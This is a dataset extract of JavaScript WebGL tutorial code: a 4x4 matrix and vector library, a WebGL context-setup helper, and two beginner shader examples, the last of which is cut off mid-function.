code stringlengths 1 2.08M | language stringclasses 1 value |
|---|---|
// cuon-matrix.js (c) 2012 kanda and matsuda
/**
* This is a class treating 4x4 matrix.
* This class contains the function that is equivalent to OpenGL matrix stack.
* The matrix after conversion is calculated by multiplying a conversion matrix from the right.
* The matrix is replaced by the calculated result.
*/
/**
* Constructor of Matrix4
* If opt_src is specified, new matrix is initialized by opt_src.
* Otherwise, new matrix is initialized by identity matrix.
* @param opt_src source matrix(option)
*/
var Matrix4 = function(opt_src) {
var i, s, d;
if (opt_src && typeof opt_src === 'object' && opt_src.hasOwnProperty('elements')) {
s = opt_src.elements;
d = new Float32Array(16);
for (i = 0; i < 16; ++i) {
d[i] = s[i];
}
this.elements = d;
} else {
this.elements = new Float32Array([1,0,0,0, 0,1,0,0, 0,0,1,0, 0,0,0,1]);
}
};
/**
* Set the identity matrix.
* @return this
*/
Matrix4.prototype.setIdentity = function() {
var e = this.elements;
e[0] = 1; e[4] = 0; e[8] = 0; e[12] = 0;
e[1] = 0; e[5] = 1; e[9] = 0; e[13] = 0;
e[2] = 0; e[6] = 0; e[10] = 1; e[14] = 0;
e[3] = 0; e[7] = 0; e[11] = 0; e[15] = 1;
return this;
};
/**
* Copy matrix.
* @param src source matrix
* @return this
*/
Matrix4.prototype.set = function(src) {
var i, s, d;
s = src.elements;
d = this.elements;
if (s === d) {
return;
}
for (i = 0; i < 16; ++i) {
d[i] = s[i];
}
return this;
};
/**
* Multiply the matrix from the right.
* @param other The multiply matrix
* @return this
*/
Matrix4.prototype.concat = function(other) {
var i, e, a, b, ai0, ai1, ai2, ai3;
// Calculate e = a * b
e = this.elements;
a = this.elements;
b = other.elements;
// If e equals b, copy b to temporary matrix.
if (e === b) {
b = new Float32Array(16);
for (i = 0; i < 16; ++i) {
b[i] = e[i];
}
}
for (i = 0; i < 4; i++) {
ai0=a[i]; ai1=a[i+4]; ai2=a[i+8]; ai3=a[i+12];
e[i] = ai0 * b[0] + ai1 * b[1] + ai2 * b[2] + ai3 * b[3];
e[i+4] = ai0 * b[4] + ai1 * b[5] + ai2 * b[6] + ai3 * b[7];
e[i+8] = ai0 * b[8] + ai1 * b[9] + ai2 * b[10] + ai3 * b[11];
e[i+12] = ai0 * b[12] + ai1 * b[13] + ai2 * b[14] + ai3 * b[15];
}
return this;
};
Matrix4.prototype.multiply = Matrix4.prototype.concat;
/**
* Multiply the three-dimensional vector.
* @param pos The multiply vector
* @return The result of multiplication(Float32Array)
*/
Matrix4.prototype.multiplyVector3 = function(pos) {
var e = this.elements;
var p = pos.elements;
var v = new Vector3();
var result = v.elements;
result[0] = p[0] * e[0] + p[1] * e[4] + p[2] * e[ 8] + e[11];
result[1] = p[0] * e[1] + p[1] * e[5] + p[2] * e[ 9] + e[12];
result[2] = p[0] * e[2] + p[1] * e[6] + p[2] * e[10] + e[13];
return v;
};
/**
* Multiply the four-dimensional vector.
* @param pos The multiply vector
* @return The result of multiplication(Float32Array)
*/
Matrix4.prototype.multiplyVector4 = function(pos) {
var e = this.elements;
var p = pos.elements;
var v = new Vector4();
var result = v.elements;
result[0] = p[0] * e[0] + p[1] * e[4] + p[2] * e[ 8] + p[3] * e[12];
result[1] = p[0] * e[1] + p[1] * e[5] + p[2] * e[ 9] + p[3] * e[13];
result[2] = p[0] * e[2] + p[1] * e[6] + p[2] * e[10] + p[3] * e[14];
result[3] = p[0] * e[3] + p[1] * e[7] + p[2] * e[11] + p[3] * e[15];
return v;
};
/**
* Transpose the matrix.
* @return this
*/
Matrix4.prototype.transpose = function() {
var e, t;
e = this.elements;
t = e[ 1]; e[ 1] = e[ 4]; e[ 4] = t;
t = e[ 2]; e[ 2] = e[ 8]; e[ 8] = t;
t = e[ 3]; e[ 3] = e[12]; e[12] = t;
t = e[ 6]; e[ 6] = e[ 9]; e[ 9] = t;
t = e[ 7]; e[ 7] = e[13]; e[13] = t;
t = e[11]; e[11] = e[14]; e[14] = t;
return this;
};
/**
* Calculate the inverse matrix of specified matrix, and set to this.
* @param other The source matrix
* @return this
*/
Matrix4.prototype.setInverseOf = function(other) {
var i, s, d, inv, det;
s = other.elements;
d = this.elements;
inv = new Float32Array(16);
inv[0] = s[5]*s[10]*s[15] - s[5] *s[11]*s[14] - s[9] *s[6]*s[15]
+ s[9]*s[7] *s[14] + s[13]*s[6] *s[11] - s[13]*s[7]*s[10];
inv[4] = - s[4]*s[10]*s[15] + s[4] *s[11]*s[14] + s[8] *s[6]*s[15]
- s[8]*s[7] *s[14] - s[12]*s[6] *s[11] + s[12]*s[7]*s[10];
inv[8] = s[4]*s[9] *s[15] - s[4] *s[11]*s[13] - s[8] *s[5]*s[15]
+ s[8]*s[7] *s[13] + s[12]*s[5] *s[11] - s[12]*s[7]*s[9];
inv[12] = - s[4]*s[9] *s[14] + s[4] *s[10]*s[13] + s[8] *s[5]*s[14]
- s[8]*s[6] *s[13] - s[12]*s[5] *s[10] + s[12]*s[6]*s[9];
inv[1] = - s[1]*s[10]*s[15] + s[1] *s[11]*s[14] + s[9] *s[2]*s[15]
- s[9]*s[3] *s[14] - s[13]*s[2] *s[11] + s[13]*s[3]*s[10];
inv[5] = s[0]*s[10]*s[15] - s[0] *s[11]*s[14] - s[8] *s[2]*s[15]
+ s[8]*s[3] *s[14] + s[12]*s[2] *s[11] - s[12]*s[3]*s[10];
inv[9] = - s[0]*s[9] *s[15] + s[0] *s[11]*s[13] + s[8] *s[1]*s[15]
- s[8]*s[3] *s[13] - s[12]*s[1] *s[11] + s[12]*s[3]*s[9];
inv[13] = s[0]*s[9] *s[14] - s[0] *s[10]*s[13] - s[8] *s[1]*s[14]
+ s[8]*s[2] *s[13] + s[12]*s[1] *s[10] - s[12]*s[2]*s[9];
inv[2] = s[1]*s[6]*s[15] - s[1] *s[7]*s[14] - s[5] *s[2]*s[15]
+ s[5]*s[3]*s[14] + s[13]*s[2]*s[7] - s[13]*s[3]*s[6];
inv[6] = - s[0]*s[6]*s[15] + s[0] *s[7]*s[14] + s[4] *s[2]*s[15]
- s[4]*s[3]*s[14] - s[12]*s[2]*s[7] + s[12]*s[3]*s[6];
inv[10] = s[0]*s[5]*s[15] - s[0] *s[7]*s[13] - s[4] *s[1]*s[15]
+ s[4]*s[3]*s[13] + s[12]*s[1]*s[7] - s[12]*s[3]*s[5];
inv[14] = - s[0]*s[5]*s[14] + s[0] *s[6]*s[13] + s[4] *s[1]*s[14]
- s[4]*s[2]*s[13] - s[12]*s[1]*s[6] + s[12]*s[2]*s[5];
inv[3] = - s[1]*s[6]*s[11] + s[1]*s[7]*s[10] + s[5]*s[2]*s[11]
- s[5]*s[3]*s[10] - s[9]*s[2]*s[7] + s[9]*s[3]*s[6];
inv[7] = s[0]*s[6]*s[11] - s[0]*s[7]*s[10] - s[4]*s[2]*s[11]
+ s[4]*s[3]*s[10] + s[8]*s[2]*s[7] - s[8]*s[3]*s[6];
inv[11] = - s[0]*s[5]*s[11] + s[0]*s[7]*s[9] + s[4]*s[1]*s[11]
- s[4]*s[3]*s[9] - s[8]*s[1]*s[7] + s[8]*s[3]*s[5];
inv[15] = s[0]*s[5]*s[10] - s[0]*s[6]*s[9] - s[4]*s[1]*s[10]
+ s[4]*s[2]*s[9] + s[8]*s[1]*s[6] - s[8]*s[2]*s[5];
det = s[0]*inv[0] + s[1]*inv[4] + s[2]*inv[8] + s[3]*inv[12];
if (det === 0) {
return this;
}
det = 1 / det;
for (i = 0; i < 16; i++) {
d[i] = inv[i] * det;
}
return this;
};
/**
* Calculate the inverse matrix of this, and set to this.
* @return this
*/
Matrix4.prototype.invert = function() {
return this.setInverseOf(this);
};
/**
* Set the orthographic projection matrix.
* @param left The coordinate of the left of clipping plane.
* @param right The coordinate of the right of clipping plane.
* @param bottom The coordinate of the bottom of clipping plane.
* @param top The coordinate of the top top clipping plane.
* @param near The distances to the nearer depth clipping plane. This value is minus if the plane is to be behind the viewer.
* @param far The distances to the farther depth clipping plane. This value is minus if the plane is to be behind the viewer.
* @return this
*/
Matrix4.prototype.setOrtho = function(left, right, bottom, top, near, far) {
var e, rw, rh, rd;
if (left === right || bottom === top || near === far) {
throw 'null frustum';
}
rw = 1 / (right - left);
rh = 1 / (top - bottom);
rd = 1 / (far - near);
e = this.elements;
e[0] = 2 * rw;
e[1] = 0;
e[2] = 0;
e[3] = 0;
e[4] = 0;
e[5] = 2 * rh;
e[6] = 0;
e[7] = 0;
e[8] = 0;
e[9] = 0;
e[10] = -2 * rd;
e[11] = 0;
e[12] = -(right + left) * rw;
e[13] = -(top + bottom) * rh;
e[14] = -(far + near) * rd;
e[15] = 1;
return this;
};
/**
* Multiply the orthographic projection matrix from the right.
* @param left The coordinate of the left of clipping plane.
* @param right The coordinate of the right of clipping plane.
* @param bottom The coordinate of the bottom of clipping plane.
* @param top The coordinate of the top top clipping plane.
* @param near The distances to the nearer depth clipping plane. This value is minus if the plane is to be behind the viewer.
* @param far The distances to the farther depth clipping plane. This value is minus if the plane is to be behind the viewer.
* @return this
*/
Matrix4.prototype.ortho = function(left, right, bottom, top, near, far) {
return this.concat(new Matrix4().setOrtho(left, right, bottom, top, near, far));
};
/**
* Set the perspective projection matrix.
* @param left The coordinate of the left of clipping plane.
* @param right The coordinate of the right of clipping plane.
* @param bottom The coordinate of the bottom of clipping plane.
* @param top The coordinate of the top top clipping plane.
* @param near The distances to the nearer depth clipping plane. This value must be plus value.
* @param far The distances to the farther depth clipping plane. This value must be plus value.
* @return this
*/
Matrix4.prototype.setFrustum = function(left, right, bottom, top, near, far) {
var e, rw, rh, rd;
if (left === right || top === bottom || near === far) {
throw 'null frustum';
}
if (near <= 0) {
throw 'near <= 0';
}
if (far <= 0) {
throw 'far <= 0';
}
rw = 1 / (right - left);
rh = 1 / (top - bottom);
rd = 1 / (far - near);
e = this.elements;
e[ 0] = 2 * near * rw;
e[ 1] = 0;
e[ 2] = 0;
e[ 3] = 0;
e[ 4] = 0;
e[ 5] = 2 * near * rh;
e[ 6] = 0;
e[ 7] = 0;
e[ 8] = (right + left) * rw;
e[ 9] = (top + bottom) * rh;
e[10] = -(far + near) * rd;
e[11] = -1;
e[12] = 0;
e[13] = 0;
e[14] = -2 * near * far * rd;
e[15] = 0;
return this;
};
/**
* Multiply the perspective projection matrix from the right.
* @param left The coordinate of the left of clipping plane.
* @param right The coordinate of the right of clipping plane.
* @param bottom The coordinate of the bottom of clipping plane.
* @param top The coordinate of the top top clipping plane.
* @param near The distances to the nearer depth clipping plane. This value must be plus value.
* @param far The distances to the farther depth clipping plane. This value must be plus value.
* @return this
*/
Matrix4.prototype.frustum = function(left, right, bottom, top, near, far) {
return this.concat(new Matrix4().setFrustum(left, right, bottom, top, near, far));
};
/**
* Set the perspective projection matrix by fovy and aspect.
* @param fovy The angle between the upper and lower sides of the frustum.
* @param aspect The aspect ratio of the frustum. (width/height)
* @param near The distances to the nearer depth clipping plane. This value must be plus value.
* @param far The distances to the farther depth clipping plane. This value must be plus value.
* @return this
*/
Matrix4.prototype.setPerspective = function(fovy, aspect, near, far) {
var e, rd, s, ct;
if (near === far || aspect === 0) {
throw 'null frustum';
}
if (near <= 0) {
throw 'near <= 0';
}
if (far <= 0) {
throw 'far <= 0';
}
fovy = Math.PI * fovy / 180 / 2;
s = Math.sin(fovy);
if (s === 0) {
throw 'null frustum';
}
rd = 1 / (far - near);
ct = Math.cos(fovy) / s;
e = this.elements;
e[0] = ct / aspect;
e[1] = 0;
e[2] = 0;
e[3] = 0;
e[4] = 0;
e[5] = ct;
e[6] = 0;
e[7] = 0;
e[8] = 0;
e[9] = 0;
e[10] = -(far + near) * rd;
e[11] = -1;
e[12] = 0;
e[13] = 0;
e[14] = -2 * near * far * rd;
e[15] = 0;
return this;
};
/**
* Multiply the perspective projection matrix from the right.
* @param fovy The angle between the upper and lower sides of the frustum.
* @param aspect The aspect ratio of the frustum. (width/height)
* @param near The distances to the nearer depth clipping plane. This value must be plus value.
* @param far The distances to the farther depth clipping plane. This value must be plus value.
* @return this
*/
Matrix4.prototype.perspective = function(fovy, aspect, near, far) {
return this.concat(new Matrix4().setPerspective(fovy, aspect, near, far));
};
/**
* Set the matrix for scaling.
* @param x The scale factor along the X axis
* @param y The scale factor along the Y axis
* @param z The scale factor along the Z axis
* @return this
*/
Matrix4.prototype.setScale = function(x, y, z) {
var e = this.elements;
e[0] = x; e[4] = 0; e[8] = 0; e[12] = 0;
e[1] = 0; e[5] = y; e[9] = 0; e[13] = 0;
e[2] = 0; e[6] = 0; e[10] = z; e[14] = 0;
e[3] = 0; e[7] = 0; e[11] = 0; e[15] = 1;
return this;
};
/**
* Multiply the matrix for scaling from the right.
* @param x The scale factor along the X axis
* @param y The scale factor along the Y axis
* @param z The scale factor along the Z axis
* @return this
*/
Matrix4.prototype.scale = function(x, y, z) {
var e = this.elements;
e[0] *= x; e[4] *= y; e[8] *= z;
e[1] *= x; e[5] *= y; e[9] *= z;
e[2] *= x; e[6] *= y; e[10] *= z;
e[3] *= x; e[7] *= y; e[11] *= z;
return this;
};
/**
* Set the matrix for translation.
* @param x The X value of a translation.
* @param y The Y value of a translation.
* @param z The Z value of a translation.
* @return this
*/
Matrix4.prototype.setTranslate = function(x, y, z) {
var e = this.elements;
e[0] = 1; e[4] = 0; e[8] = 0; e[12] = x;
e[1] = 0; e[5] = 1; e[9] = 0; e[13] = y;
e[2] = 0; e[6] = 0; e[10] = 1; e[14] = z;
e[3] = 0; e[7] = 0; e[11] = 0; e[15] = 1;
return this;
};
/**
* Multiply the matrix for translation from the right.
* @param x The X value of a translation.
* @param y The Y value of a translation.
* @param z The Z value of a translation.
* @return this
*/
Matrix4.prototype.translate = function(x, y, z) {
var e = this.elements;
e[12] += e[0] * x + e[4] * y + e[8] * z;
e[13] += e[1] * x + e[5] * y + e[9] * z;
e[14] += e[2] * x + e[6] * y + e[10] * z;
e[15] += e[3] * x + e[7] * y + e[11] * z;
return this;
};
/**
* Set the matrix for rotation.
* The vector of rotation axis may not be normalized.
* @param angle The angle of rotation (degrees)
* @param x The X coordinate of vector of rotation axis.
* @param y The Y coordinate of vector of rotation axis.
* @param z The Z coordinate of vector of rotation axis.
* @return this
*/
Matrix4.prototype.setRotate = function(angle, x, y, z) {
var e, s, c, len, rlen, nc, xy, yz, zx, xs, ys, zs;
angle = Math.PI * angle / 180;
e = this.elements;
s = Math.sin(angle);
c = Math.cos(angle);
if (0 !== x && 0 === y && 0 === z) {
// Rotation around X axis
if (x < 0) {
s = -s;
}
e[0] = 1; e[4] = 0; e[ 8] = 0; e[12] = 0;
e[1] = 0; e[5] = c; e[ 9] =-s; e[13] = 0;
e[2] = 0; e[6] = s; e[10] = c; e[14] = 0;
e[3] = 0; e[7] = 0; e[11] = 0; e[15] = 1;
} else if (0 === x && 0 !== y && 0 === z) {
// Rotation around Y axis
if (y < 0) {
s = -s;
}
e[0] = c; e[4] = 0; e[ 8] = s; e[12] = 0;
e[1] = 0; e[5] = 1; e[ 9] = 0; e[13] = 0;
e[2] =-s; e[6] = 0; e[10] = c; e[14] = 0;
e[3] = 0; e[7] = 0; e[11] = 0; e[15] = 1;
} else if (0 === x && 0 === y && 0 !== z) {
// Rotation around Z axis
if (z < 0) {
s = -s;
}
e[0] = c; e[4] =-s; e[ 8] = 0; e[12] = 0;
e[1] = s; e[5] = c; e[ 9] = 0; e[13] = 0;
e[2] = 0; e[6] = 0; e[10] = 1; e[14] = 0;
e[3] = 0; e[7] = 0; e[11] = 0; e[15] = 1;
} else {
// Rotation around another axis
len = Math.sqrt(x*x + y*y + z*z);
if (len !== 1) {
rlen = 1 / len;
x *= rlen;
y *= rlen;
z *= rlen;
}
nc = 1 - c;
xy = x * y;
yz = y * z;
zx = z * x;
xs = x * s;
ys = y * s;
zs = z * s;
e[ 0] = x*x*nc + c;
e[ 1] = xy *nc + zs;
e[ 2] = zx *nc - ys;
e[ 3] = 0;
e[ 4] = xy *nc - zs;
e[ 5] = y*y*nc + c;
e[ 6] = yz *nc + xs;
e[ 7] = 0;
e[ 8] = zx *nc + ys;
e[ 9] = yz *nc - xs;
e[10] = z*z*nc + c;
e[11] = 0;
e[12] = 0;
e[13] = 0;
e[14] = 0;
e[15] = 1;
}
return this;
};
/**
* Multiply the matrix for rotation from the right.
* The vector of rotation axis may not be normalized.
* @param angle The angle of rotation (degrees)
* @param x The X coordinate of vector of rotation axis.
* @param y The Y coordinate of vector of rotation axis.
* @param z The Z coordinate of vector of rotation axis.
* @return this
*/
Matrix4.prototype.rotate = function(angle, x, y, z) {
return this.concat(new Matrix4().setRotate(angle, x, y, z));
};
/**
* Set the viewing matrix.
* @param eyeX, eyeY, eyeZ The position of the eye point.
* @param centerX, centerY, centerZ The position of the reference point.
* @param upX, upY, upZ The direction of the up vector.
* @return this
*/
Matrix4.prototype.setLookAt = function(eyeX, eyeY, eyeZ, centerX, centerY, centerZ, upX, upY, upZ) {
var e, fx, fy, fz, rlf, sx, sy, sz, rls, ux, uy, uz;
fx = centerX - eyeX;
fy = centerY - eyeY;
fz = centerZ - eyeZ;
// Normalize f.
rlf = 1 / Math.sqrt(fx*fx + fy*fy + fz*fz);
fx *= rlf;
fy *= rlf;
fz *= rlf;
// Calculate cross product of f and up.
sx = fy * upZ - fz * upY;
sy = fz * upX - fx * upZ;
sz = fx * upY - fy * upX;
// Normalize s.
rls = 1 / Math.sqrt(sx*sx + sy*sy + sz*sz);
sx *= rls;
sy *= rls;
sz *= rls;
// Calculate cross product of s and f.
ux = sy * fz - sz * fy;
uy = sz * fx - sx * fz;
uz = sx * fy - sy * fx;
// Set to this.
e = this.elements;
e[0] = sx;
e[1] = ux;
e[2] = -fx;
e[3] = 0;
e[4] = sy;
e[5] = uy;
e[6] = -fy;
e[7] = 0;
e[8] = sz;
e[9] = uz;
e[10] = -fz;
e[11] = 0;
e[12] = 0;
e[13] = 0;
e[14] = 0;
e[15] = 1;
// Translate.
return this.translate(-eyeX, -eyeY, -eyeZ);
};
/**
* Multiply the viewing matrix from the right.
* @param eyeX, eyeY, eyeZ The position of the eye point.
* @param centerX, centerY, centerZ The position of the reference point.
* @param upX, upY, upZ The direction of the up vector.
* @return this
*/
Matrix4.prototype.lookAt = function(eyeX, eyeY, eyeZ, centerX, centerY, centerZ, upX, upY, upZ) {
return this.concat(new Matrix4().setLookAt(eyeX, eyeY, eyeZ, centerX, centerY, centerZ, upX, upY, upZ));
};
/**
* Multiply the matrix for project vertex to plane from the right.
* @param plane The array[A, B, C, D] of the equation of plane "Ax + By + Cz + D = 0".
* @param light The array which stored coordinates of the light. if light[3]=0, treated as parallel light.
* @return this
*/
Matrix4.prototype.dropShadow = function(plane, light) {
var mat = new Matrix4();
var e = mat.elements;
var dot = plane[0] * light[0] + plane[1] * light[1] + plane[2] * light[2] + plane[3] * light[3];
e[ 0] = dot - light[0] * plane[0];
e[ 1] = - light[1] * plane[0];
e[ 2] = - light[2] * plane[0];
e[ 3] = - light[3] * plane[0];
e[ 4] = - light[0] * plane[1];
e[ 5] = dot - light[1] * plane[1];
e[ 6] = - light[2] * plane[1];
e[ 7] = - light[3] * plane[1];
e[ 8] = - light[0] * plane[2];
e[ 9] = - light[1] * plane[2];
e[10] = dot - light[2] * plane[2];
e[11] = - light[3] * plane[2];
e[12] = - light[0] * plane[3];
e[13] = - light[1] * plane[3];
e[14] = - light[2] * plane[3];
e[15] = dot - light[3] * plane[3];
return this.concat(mat);
}
/**
* Multiply the matrix for project vertex to plane from the right.(Projected by parallel light.)
* @param normX, normY, normZ The normal vector of the plane.(Not necessary to be normalized.)
* @param planeX, planeY, planeZ The coordinate of arbitrary points on a plane.
* @param lightX, lightY, lightZ The vector of the direction of light.(Not necessary to be normalized.)
* @return this
*/
Matrix4.prototype.dropShadowDirectionally = function(normX, normY, normZ, planeX, planeY, planeZ, lightX, lightY, lightZ) {
var a = planeX * normX + planeY * normY + planeZ * normZ;
return this.dropShadow([normX, normY, normZ, -a], [lightX, lightY, lightZ, 0]);
};
/**
* Constructor of Vector3
* If opt_src is specified, new vector is initialized by opt_src.
* @param opt_src source vector(option)
*/
var Vector3 = function(opt_src) {
var v = new Float32Array(3);
if (opt_src && typeof opt_src === 'object') {
v[0] = opt_src[0]; v[1] = opt_src[1]; v[2] = opt_src[2];
}
this.elements = v;
}
/**
* Normalize.
* @return this
*/
Vector3.prototype.normalize = function() {
var v = this.elements;
var c = v[0], d = v[1], e = v[2], g = Math.sqrt(c*c+d*d+e*e);
if(g){
if(g == 1)
return this;
} else {
v[0] = 0; v[1] = 0; v[2] = 0;
return this;
}
g = 1/g;
v[0] = c*g; v[1] = d*g; v[2] = e*g;
return this;
};
/**
* Constructor of Vector4
* If opt_src is specified, new vector is initialized by opt_src.
* @param opt_src source vector(option)
*/
var Vector4 = function(opt_src) {
var v = new Float32Array(4);
if (opt_src && typeof opt_src === 'object') {
v[0] = opt_src[0]; v[1] = opt_src[1]; v[2] = opt_src[2]; v[3] = opt_src[3];
}
this.elements = v;
}
| JavaScript |
/*
* Copyright 2010, Google Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
* * Neither the name of Google Inc. nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* @fileoverview This file contains functions every webgl program will need
* a version of one way or another.
*
* Instead of setting up a context manually it is recommended to
* use. This will check for success or failure. On failure it
* will attempt to present an approriate message to the user.
*
* gl = WebGLUtils.setupWebGL(canvas);
*
* For animated WebGL apps use of setTimeout or setInterval are
* discouraged. It is recommended you structure your rendering
* loop like this.
*
* function render() {
* window.requestAnimationFrame(render, canvas);
*
* // do rendering
* ...
* }
* render();
*
* This will call your rendering function up to the refresh rate
* of your display but will stop rendering if your app is not
* visible.
*/
WebGLUtils = function() {
/**
* Creates the HTLM for a failure message
* @param {string} canvasContainerId id of container of th
* canvas.
* @return {string} The html.
*/
var makeFailHTML = function(msg) {
return '' +
'<div style="margin: auto; width:500px;z-index:10000;margin-top:20em;text-align:center;">' + msg + '</div>';
return '' +
'<table style="background-color: #8CE; width: 100%; height: 100%;"><tr>' +
'<td align="center">' +
'<div style="display: table-cell; vertical-align: middle;">' +
'<div style="">' + msg + '</div>' +
'</div>' +
'</td></tr></table>';
};
/**
* Mesasge for getting a webgl browser
* @type {string}
*/
var GET_A_WEBGL_BROWSER = '' +
'This page requires a browser that supports WebGL.<br/>' +
'<a href="http://get.webgl.org">Click here to upgrade your browser.</a>';
/**
* Mesasge for need better hardware
* @type {string}
*/
var OTHER_PROBLEM = '' +
"It doesn't appear your computer can support WebGL.<br/>" +
'<a href="http://get.webgl.org">Click here for more information.</a>';
/**
* Creates a webgl context. If creation fails it will
* change the contents of the container of the <canvas>
* tag to an error message with the correct links for WebGL.
* @param {Element} canvas. The canvas element to create a
* context from.
* @param {WebGLContextCreationAttirbutes} opt_attribs Any
* creation attributes you want to pass in.
* @param {function:(msg)} opt_onError An function to call
* if there is an error during creation.
* @return {WebGLRenderingContext} The created context.
*/
var setupWebGL = function(canvas, opt_attribs, opt_onError) {
function handleCreationError(msg) {
var container = document.getElementsByTagName("body")[0];
//var container = canvas.parentNode;
if (container) {
var str = window.WebGLRenderingContext ?
OTHER_PROBLEM :
GET_A_WEBGL_BROWSER;
if (msg) {
str += "<br/><br/>Status: " + msg;
}
container.innerHTML = makeFailHTML(str);
}
};
opt_onError = opt_onError || handleCreationError;
if (canvas.addEventListener) {
canvas.addEventListener("webglcontextcreationerror", function(event) {
opt_onError(event.statusMessage);
}, false);
}
var context = create3DContext(canvas, opt_attribs);
if (!context) {
if (!window.WebGLRenderingContext) {
opt_onError("");
} else {
opt_onError("");
}
}
return context;
};
/**
* Creates a webgl context.
* @param {!Canvas} canvas The canvas tag to get context
* from. If one is not passed in one will be created.
* @return {!WebGLContext} The created context.
*/
var create3DContext = function(canvas, opt_attribs) {
var names = ["webgl", "experimental-webgl", "webkit-3d", "moz-webgl"];
var context = null;
for (var ii = 0; ii < names.length; ++ii) {
try {
context = canvas.getContext(names[ii], opt_attribs);
} catch(e) {}
if (context) {
break;
}
}
return context;
}
return {
create3DContext: create3DContext,
setupWebGL: setupWebGL
};
}();
/**
* Provides requestAnimationFrame in a cross browser
* way.
*/
if (!window.requestAnimationFrame) {
window.requestAnimationFrame = (function() {
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
window.oRequestAnimationFrame ||
window.msRequestAnimationFrame ||
function(/* function FrameRequestCallback */ callback, /* DOMElement Element */ element) {
window.setTimeout(callback, 1000/60);
};
})();
}
/** * ERRATA: 'cancelRequestAnimationFrame' renamed to 'cancelAnimationFrame' to reflect an update to the W3C Animation-Timing Spec.
*
* Cancels an animation frame request.
* Checks for cross-browser support, falls back to clearTimeout.
* @param {number} Animation frame request. */
if (!window.cancelAnimationFrame) {
window.cancelAnimationFrame = (window.cancelRequestAnimationFrame ||
window.webkitCancelAnimationFrame || window.webkitCancelRequestAnimationFrame ||
window.mozCancelAnimationFrame || window.mozCancelRequestAnimationFrame ||
window.msCancelAnimationFrame || window.msCancelRequestAnimationFrame ||
window.oCancelAnimationFrame || window.oCancelRequestAnimationFrame ||
window.clearTimeout);
} | JavaScript |
1 // HelloPoint2.js
// Vertex shader program
var VSHADER_SOURCE =
'attribute vec4 a_Position;\n' +
'attribute float a_PointSize;\n' +
'void main() {\n' +
' gl_Position = a_Position;\n' +
' gl_PointSize = a_PointSize;\n' +
'}\n';
// Fragment shader program
var FSHADER_SOURCE =
'void main() {\n' +
' gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0);\n' + // Set the color
'}\n';
function main() {
// Retrieve <canvas> element
var canvas = document.getElementById('webgl');
// Get the rendering context for WebGL
var gl = getWebGLContext(canvas);
if (!gl) {
console.log('Failed to get the rendering context for WebGL');
return;
}
// Initialize shaders
if (!initShaders(gl, VSHADER_SOURCE, FSHADER_SOURCE)) {
console.log('Failed to initialize shaders.');
return;
}
// Get the storage location of attribute variable
var a_Position = gl.getAttribLocation(gl.program, 'a_Position');
if (a_Position < 0) {
console.log('Failed to get the storage location of a_Position');
return;
}
// Get the storage location of attribute variable
var a_PointSize = gl.getAttribLocation(gl.program, 'a_PointSize');
if (a_PointSize < 0) {
console.log('Failed to get the storage location of a_PointSize');
return;
}
// Pass vertex position to attribute variable
gl.vertexAttrib3f(a_Position, 0.0, 0.5, 0.0);
// Pass vertex position to attribute variable
gl.vertexAttrib1f(a_PointSize, 20.0);
// Set the color for clearing <canvas>
gl.clearColor(0.0, 0.0, 0.0, 1.0);
// Clear <canvas>
gl.clear(gl.COLOR_BUFFER_BIT);
// Draw a point
gl.drawArrays(gl.POINTS, 0, 1);
} | JavaScript |
// ColoredPoints.js
// Vertex shader program
var VSHADER_SOURCE =
'attribute vec4 a_Position;\n' +
'void main() {\n' +
' gl_Position = a_Position;\n' +
' gl_PointSize = 10.0;\n' +
'}\n';
// Fragment shader program
var FSHADER_SOURCE =
'precision mediump float;\n' +
'uniform vec4 u_FragColor;\n' + // uniform variable <- (1)
'void main() {\n' +
' gl_FragColor = u_FragColor;\n' + //<- (2)
'}\n';
function main() {
// Retrieve <canvas> element
var canvas = document.getElementById('webgl');
// Get the rendering context for WebGL
var gl = getWebGLContext(canvas);
if (!gl) {
console.log('Failed to get the rendering context for WebGL');
return;
}
// Initialize shaders
if (!initShaders(gl, VSHADER_SOURCE, FSHADER_SOURCE)) {
console.log('Failed to initialize shaders.');
return;
}
// Get the storage location of a_Position variable
var a_Position = gl.getAttribLocation(gl.program, 'a_Position');
if (a_Position < 0) {
console.log('Failed to get the storage location of a_Position');
return;
}
// Get the storage location of u_FragColor variable
var u_FragColor = gl.getUniformLocation(gl.program, 'u_FragColor');
if (u_FragColor < 0) {
console.log('Failed to get the storage location of u_FragColor');
return;
}
// Register function (event handler) to be called on a mouse press
canvas.onmousedown = function(ev){ click(ev, gl, canvas, a_Position,u_FragColor) };
// Pass vertex position to attribute variable
gl.vertexAttrib3f(a_Position, 0.0, 0.5, 0.0);
// Set the color for clearing <canvas>
gl.clearColor(0.0, 0.0, 0.0, 1.0);
// Clear <canvas>
gl.clear(gl.COLOR_BUFFER_BIT);
}
var g_points = []; // The array for a mouse press
var g_colors = []; // The array to store the color of a point
function click(ev, gl, canvas, a_Position, u_FragColor) {
var x = ev.clientX; // x coordinate of a mouse pointer
var y = ev.clientY; // y coordinate of a mouse pointer
